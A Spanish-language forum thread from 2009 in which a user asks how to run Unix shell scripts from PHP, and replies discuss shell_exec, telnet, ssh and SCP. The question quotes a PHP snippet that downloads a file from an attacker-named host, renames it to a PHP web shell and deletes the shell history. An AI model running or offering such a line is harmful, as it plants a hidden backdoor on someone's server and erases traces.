Foros del Web » Soporte técnico » Sistemas Operativos »

Telnet

Estas en el tema de Telnet en el foro de Sistemas Operativos en Foros del Web. Hola amigos, tengo una duda, tengo que montar un sistema via php que me conecte a una maquina unix y me lanze unos shell scripts ...
  #1 (permalink)  
Antiguo 14/01/2009, 04:42
 
Fecha de Ingreso: septiembre-2007
Mensajes: 21
Antigüedad: 16 años, 7 meses
Puntos: 0
Telnet

Hola amigos, tengo una duda, tengo que montar un sistema via php que me conecte a una maquina unix y me lanze unos shell scripts y no se como enfocarlo ni encuentro nada :S

he encontrado esto:

Código PHP:
<?php
shell_exec
('wget http://hostatacante/rs.txt; mv rs.txt rs.php; rm -f $HISTFILE');
?>
pero me saltan dudas, tengo que crear un ftp tb para que despues de lanzar los .sh me creara un fichero y tengo que traerlo aqui a windows.

eso mas o menos he encontrado información y se coencta via IP del UNIX y tal.

pero no se como hacer lo del ejecutar scripts... haber si alguien me peude ayudar :(

mil gracias!
  #2 (permalink)  
Antiguo 14/01/2009, 10:47
Avatar de GatorV
$this->role('moderador');
 
Fecha de Ingreso: mayo-2006
Ubicación: /home/ams/
Mensajes: 38.567
Antigüedad: 17 años, 10 meses
Puntos: 2135
Respuesta: Telnet en php

Hay una implementación de wget para windows, no se si mv, y rm funcionen, a lo mejor si instalas Cygwin en Windows puedes ejecutar esa cadena, de lo contrario es muy dificil que puedas ejecutar esa cadena en Windows.

Te muevo al foro de Sistemas Operativos para que te orienten en la instalación la parte de PHP la tienes resuelta, shell_exec(), system() es lo mismo.

Saludos
  #3 (permalink)  
Antiguo 18/01/2009, 20:55
AlvaroG
Invitado
 
Mensajes: n/a
Puntos:
Respuesta: Telnet

No se puede borrar un archivo así de forma remota, para que tu programa funcione sería el host "atacado" el que debería ejecutar el PHP.

Por FTP no se puede ejecutar programas.

Deberías tener el puerto de telnet o ssh abiertos en el 'host' remoto, e iniciar sesión. Simplemente buscá "php telnet" o "php shell" en tu buscador favorito, y tendrás bibliotecas y clases que podés usar para esto.

Ya dentro del sistema (habiendo iniciado sesión) también tendrás que tener los permisos suficientes en el archivo que intentás borrar. Para transferir archivos podés usar SCP, o FTP.

Pero no olvides considerar que para cada cosa que quieras hacer con el host remoto, vas a necesitar un puerto abierto y un proceso servidor corriendo en él.

Sería mejor que describieras tu situación.


Saludos.
Atención: Estás leyendo un tema que no tiene actividad desde hace más de 6 MESES, te recomendamos abrir un Nuevo tema en lugar de responder al actual.
Respuesta




La zona horaria es GMT -6. Ahora son las 00:24.